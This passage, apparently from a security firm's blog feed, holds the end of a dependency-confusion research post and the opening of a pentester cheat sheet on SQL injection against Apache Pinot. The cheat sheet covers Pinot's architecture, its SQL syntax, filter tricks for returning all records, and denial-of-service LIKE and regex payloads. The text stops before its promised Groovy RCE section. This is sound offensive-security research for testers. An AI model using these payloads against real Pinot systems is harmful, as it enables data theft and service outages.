&lt;p&gt;This research has allowed me to greatly increase my understanding of the nature of this vulnerability and the methods of exploitation. The tool has been sufficiently tested to work well during Doyensec’s engagements. That said, there are still many improvements that can be done in this area:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Implement its own DNS server or at least integrate with Burp’s self-hosted Collaborator server instances&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Add support for other languages and repositories&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Additionally, there seems to be several research opportunities in the realm of Dependency Confusion vulnerabilities:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;It seems promising to expand the research to closed-source ElectronJS applications. While high profile targets like Microsoft will probably have their bases covered in that regard (also because they were targeted by the original research), there might be many more applications that are still vulnerable&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Researching other dependency management platforms. The original research touches on NPM, Ruby Gems, Python’s PIP, JFrog and Azure Artifacts. It is very likely that similar problems exist in other environments&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Apache Pinot SQLi and RCE Cheat Sheet</title>
   <link href="https://blog.doyensec.com/2022/06/09/apache-pinot-sqli-rce.html"/>
   <updated>2022-06-09T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/06/09/apache-pinot-sqli-rce</id>
   <content type="html">&lt;style&gt;.apache-pinot-sqli-rce-cheat-sheet #markdown-toc li, .apache-pinot-sqli-rce-cheat-sheet #markdown-toc ul { list-style-type: lower-roman; } .apache-pinot-sqli-rce-cheat-sheet #markdown-toc ul { margin-bottom: 0rem;}&lt;/style&gt;

&lt;p&gt;The database platform &lt;a href=&quot;https://pinot.apache.org/&quot;&gt;Apache Pinot&lt;/a&gt; has been growing in popularity. Let’s attack it!&lt;/p&gt;

&lt;p&gt;This article will help pentesters use their familiarity with classic database systems such as Postgres and MariaDB, and apply it to Pinot. In this post, we will show how a classic SQL-injection (SQLi) bug in a Pinot-backed API can be escalated to Remote Code Execution (RCE) and then discuss post-exploitation.&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-pinot&quot; id=&quot;markdown-toc-what-is-pinot&quot;&gt;What Is Pinot?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#essential-architectural-details&quot; id=&quot;markdown-toc-essential-architectural-details&quot;&gt;Essential Architectural Details&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#setting-up-a-test-environment&quot; id=&quot;markdown-toc-setting-up-a-test-environment&quot;&gt;Setting Up a Test Environment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#pinot-sql-syntax--injection-basics&quot; id=&quot;markdown-toc-pinot-sql-syntax--injection-basics&quot;&gt;Pinot SQL Syntax &amp;amp; Injection Basics&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#string-matching&quot; id=&quot;markdown-toc-string-matching&quot;&gt;String Matching&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#query-options&quot; id=&quot;markdown-toc-query-options&quot;&gt;Query Options&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#ctf-grade-sql-injection&quot; id=&quot;markdown-toc-ctf-grade-sql-injection&quot;&gt;CTF-grade SQL injection&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#timeouts&quot; id=&quot;markdown-toc-timeouts&quot;&gt;Timeouts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sql-injection-in-pinot&quot; id=&quot;markdown-toc-sql-injection-in-pinot&quot;&gt;SQL Injection in Pinot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#rce-via-groovy&quot; id=&quot;markdown-toc-rce-via-groovy&quot;&gt;RCE via Groovy&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#rce-example-queries&quot; id=&quot;markdown-toc-rce-example-queries&quot;&gt;RCE Example Queries&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#use-rce-on-server-to-attack-other-nodes&quot; id=&quot;markdown-toc-use-rce-on-server-to-attack-other-nodes&quot;&gt;Use RCE on Server to Attack Other Nodes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tldr&quot; id=&quot;markdown-toc-tldr&quot;&gt;TLDR&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-is-pinot&quot;&gt;What Is Pinot?&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Pinot is a real-time distributed OLAP datastore, purpose-built to provide ultra low-latency analytics, even at extremely high throughput.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Huh? If it helps, most articles try to explain OLAP (OnLine Analytical Processing) by showing a diagram of your 2D database table turning into a cube, but for our purposes we can ignore all the jargon.&lt;/p&gt;

&lt;p&gt;Apache Pinot is a database system which is tuned for analytics queries (Business Intelligence) where:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;data is being streamed in, and needs to be instantly queryable&lt;/li&gt;
  &lt;li&gt;many users need to perform complicated queries at the same time&lt;/li&gt;
  &lt;li&gt;the queries need to quickly aggregate or filter terabytes of data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/apache-pinot-overview.png&quot; alt=&quot;Apache Pinot Overview&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Pinot was started in 2013 at &lt;a href=&quot;https://engineering.linkedin.com/teams/data/analytics-platform-apps/analytics-platforms/pinot&quot;&gt;LinkedIn&lt;/a&gt;, where it now&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;powers some of LinkedIn’s more recognisable experiences such as Who Viewed My Profile, Job, Publisher Analytics, […] Pinot also powers LinkedIn’s internal reporting platform…&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pinot is unlikely to be used for storing a fairly static table of user emails and password hashes. It is more likely to be found ingesting a stream of orders or user actions from Kafka for analysis via an internal dashboard. Takeaway delivery platform UberEats gives all restaurants access to a &lt;a href=&quot;https://eng.uber.com/operating-apache-pinot/&quot;&gt;Pinot-powered dashboard&lt;/a&gt; which&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;enables the owner of a restaurant to get insights from Uber Eats orders regarding customer satisfaction, popular menu items, sales, and service quality analysis. Pinot enables slicing and dicing the raw data in different ways and supports low latency queries…&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;essential-architectural-details&quot;&gt;Essential Architectural Details&lt;/h2&gt;

&lt;p&gt;Pinot is written in Java.&lt;/p&gt;

&lt;p&gt;Table data is partitioned / sharded into Segments, usually split based on timestamp, which can be stored in different places.&lt;/p&gt;

&lt;p&gt;Apache Pinot is a cluster formed of different &lt;a href=&quot;https://docs.pinot.apache.org/v/release-0.10.0/basics/components&quot;&gt;components&lt;/a&gt;, the essential ones being Controllers, Servers and Brokers.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;server&quot;&gt;Server&lt;/h3&gt;

&lt;p&gt;The Server stores segments of data. It receives SQL queries via GRPC, executes them and returns the results.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;broker&quot;&gt;Broker&lt;/h3&gt;

&lt;p&gt;The Broker has an exposed HTTP port which clients send queries to. The Broker analyses the query and queries the Servers which have the required segments of data via GRPC. The client receives the results consolidated into a single response.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;controller&quot;&gt;Controller&lt;/h3&gt;

&lt;p&gt;Maintains cluster metadata and manages other components. It serves admin endpoints and endpoints for uploading data.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;zookeeper&quot;&gt;Zookeeper&lt;/h3&gt;

&lt;p&gt;Apache Zookeeper is used to store cluster state and metadata. There may be multiple brokers, servers and controllers (LinkedIn claims to have more than 1000 nodes in a cluster), so Zookeeper is used to keep track of these nodes and which servers host which segments. Essentially it’s a hierarchical key-value store.&lt;/p&gt;

&lt;h2 id=&quot;setting-up-a-test-environment&quot;&gt;Setting Up a Test Environment&lt;/h2&gt;

&lt;p&gt;Following the &lt;a href=&quot;https://docs.pinot.apache.org/basics/getting-started/kubernetes-quickstart&quot;&gt;Kubernetes quickstart&lt;/a&gt; in Minikube is an easy way to create a multi-node environment. The documentation walks through the steps to install the Pinot Helm chart, set up ingestion via Kafka, and expose port 9000 of the Controller to access the query editor and cluster management UI. If things break horrifically, you can just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;minikube delete&lt;/code&gt; to wipe everything and start again.&lt;/p&gt;

&lt;p&gt;The only recommendations are to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;image.tag&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubernetes/helm/pinot/values.yaml&lt;/code&gt; to a specific Pinot release (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;release-0.10.0&lt;/code&gt;) rather than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;latest&lt;/code&gt; to test a specific version.&lt;/li&gt;
  &lt;li&gt;Install the Pinot chart from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./kubernetes/helm/pinot&lt;/code&gt; to use your local configuration changes rather than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pinot/pinot&lt;/code&gt; which fetches values from the Github master branch.&lt;/li&gt;
  &lt;li&gt;Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stern -n pinot-quickstart pinot&lt;/code&gt; to tail logs from all nodes.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;pinot-sql-syntax--injection-basics&quot;&gt;Pinot SQL Syntax &amp;amp; Injection Basics&lt;/h2&gt;

&lt;p&gt;While Pinot syntax is based on Apache Calcite, many features in the &lt;a href=&quot;https://calcite.apache.org/docs/reference.html&quot;&gt;Calcite reference&lt;/a&gt; are unsupported in Pinot. Here are some useful language features which may help to identify and test a Pinot backend.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;strings&quot;&gt;Strings&lt;/h3&gt;

&lt;p&gt;Strings are surrounded by single-quotes. Single-quotes can be escaped with another single-quote. Double quotes denote identifiers e.g. column names.&lt;/p&gt;

&lt;h4 class=&quot;no_toc&quot; id=&quot;string-concatenation&quot;&gt;String concatenation&lt;/h4&gt;

&lt;p&gt;Performed by the 3-parameter function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONCAT(str1, str2, separator)&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt; sign only works with numbers.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;&quot;someColumn&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'a &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; with quotes'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'abc'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'efg'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'d'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;myTable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 class=&quot;no_toc&quot; id=&quot;substrings&quot;&gt;Substrings&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUBSTR(col, startIndex, endIndex)&lt;/code&gt; where indexes start at 0 and can be negative to count from the end. This is different from Postgres and MySQL where the last parameter is a length.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SUBSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'abcdef'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ignoreMe&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- 'def'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 class=&quot;no_toc&quot; id=&quot;length&quot;&gt;Length&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LENGTH(str)&lt;/code&gt;&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;comments&quot;&gt;Comments&lt;/h3&gt;

&lt;p&gt;Line comments &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--&lt;/code&gt; do not require surrounding whitespace. Multiline comments &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/* */&lt;/code&gt; raise an error if the closing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*/&lt;/code&gt; is missing.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;filters&quot;&gt;Filters&lt;/h3&gt;

&lt;p&gt;Basic &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WHERE&lt;/code&gt; filters need to reference a column. Filters which do not operate on any column will raise errors, so SQLi payloads such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;' OR ''='&lt;/code&gt; will fail:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;airlineStatsAvro&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- QueryExecutionError:&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- java.lang.NullPointerException: ColumnMetadata for 1 should not be null.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- Potentially invalid column name specified.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;airlineStatsAvro&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;year&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- QueryExecutionError:&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- java.lang.NullPointerException: ColumnMetadata for 2022 should not be null.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- Potentially invalid column name specified.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As long as you know a valid column name, you can still return all records e.g.:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;airlineStatsAvro&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Year&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Year&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ArrTimeBlk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'blahblah-bc'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;between&quot;&gt;BETWEEN&lt;/h3&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transcript&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;studentID&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;between&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;201&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;300&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;in&quot;&gt;IN&lt;/h3&gt;

&lt;p&gt;Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;col IN (literal1, literal2, ...)&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transcript&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UPPER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;IN&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'NICK'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'LUCY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;string-matching&quot;&gt;String Matching&lt;/h3&gt;

&lt;p&gt;In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LIKE&lt;/code&gt; filters, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt; are &lt;a href=&quot;https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/utils/RegexpPatternConverterUtils.java#L32-L37&quot;&gt;converted&lt;/a&gt; to regular expression patterns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.*&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;REGEXP_LIKE(col, regex)&lt;/code&gt; function uses a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;java.util.regex.Pattern&lt;/code&gt; case-insensitive regular expression.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;REGEXP_LIKE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'^a[Bcd]+.*z$'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Both methods are vulnerable to Denial of Service (DoS) if users can provide their own unsanitised search queries e.g.:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LIKE '%%%%%%%%%%%%%zz'&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;REGEXP_LIKE(col, '((((((.*)*)*)*)*)*)*zz')&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These filters will run on the Pinot server at close to 100% CPU forever (OK, for a very very long time depending on the data in the column).&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;union&quot;&gt;UNION&lt;/h3&gt;

&lt;p&gt;No.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;stacked--batched-queries&quot;&gt;Stacked / Batched Queries&lt;/h3&gt;

&lt;p&gt;Nope.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;join&quot;&gt;JOIN&lt;/h3&gt;

&lt;p&gt;Limited support for joins is in development. Currently it is possible to join with offline tables with the &lt;a href=&quot;https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/lookup-udf-join&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lookUp&lt;/code&gt; function&lt;/a&gt;.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;subqueries&quot;&gt;Subqueries&lt;/h3&gt;

&lt;p&gt;Limited support. The subquery is supposed to return a base64-encoded IdSet. An &lt;a href=&quot;https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/filtering-with-idset&quot;&gt;IdSet&lt;/a&gt; is a data structure (compressed bitmap or Bloom filter) where it is very fast to check if an Id belongs in the IdSet. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IN_SUBQUERY&lt;/code&gt; (filtered on Broker) or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IN_PARTITIONED_SUBQUERY&lt;/code&gt; (filtered on Server) functions perform the subquery and then use this IdSet to filter results from the main query.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IN_SUBQUERY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;yearID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;s1&quot;&gt;'SELECT ID_SET(yearID) FROM baseballStats WHERE teamID = &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;BC&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;database-version&quot;&gt;Database Version&lt;/h3&gt;

&lt;p&gt;It is common to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT @@VERSION&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT VERSION()&lt;/code&gt; when fingerprinting database servers. Pinot lacks this feature. Instead, the presence or absence of &lt;a href=&quot;https://docs.pinot.apache.org/users/user-guide-query/supported-transformations&quot;&gt;functions&lt;/a&gt; and other language features must be used to identify a Pinot server version.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;information-schema-tables&quot;&gt;Information Schema Tables&lt;/h3&gt;

&lt;p&gt;No.&lt;/p&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;data-types&quot;&gt;Data Types&lt;/h3&gt;

&lt;p&gt;Some Pinot functions are sensitive to the column types in use (INT, LONG, BYTES, STRING, FLOAT, DOUBLE). The hash functions like &lt;a href=&quot;https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/function/scalar/HashFunctions.java#L62-L71&quot;&gt;SHA512&lt;/a&gt;, for instance, will only operate on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BYTES&lt;/code&gt; columns and not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STRING&lt;/code&gt; columns. Luckily, we can find the undocumented &lt;a href=&quot;https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/function/scalar/StringFunctions.java#L352-L360&quot;&gt;toUtf8&lt;/a&gt; function in the source code and convert strings into bytes:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;toUtf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;somestring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;table&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 class=&quot;no_toc&quot; id=&quot;case&quot;&gt;CASE&lt;/h3&gt;

&lt;p&gt;Simple case:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt;
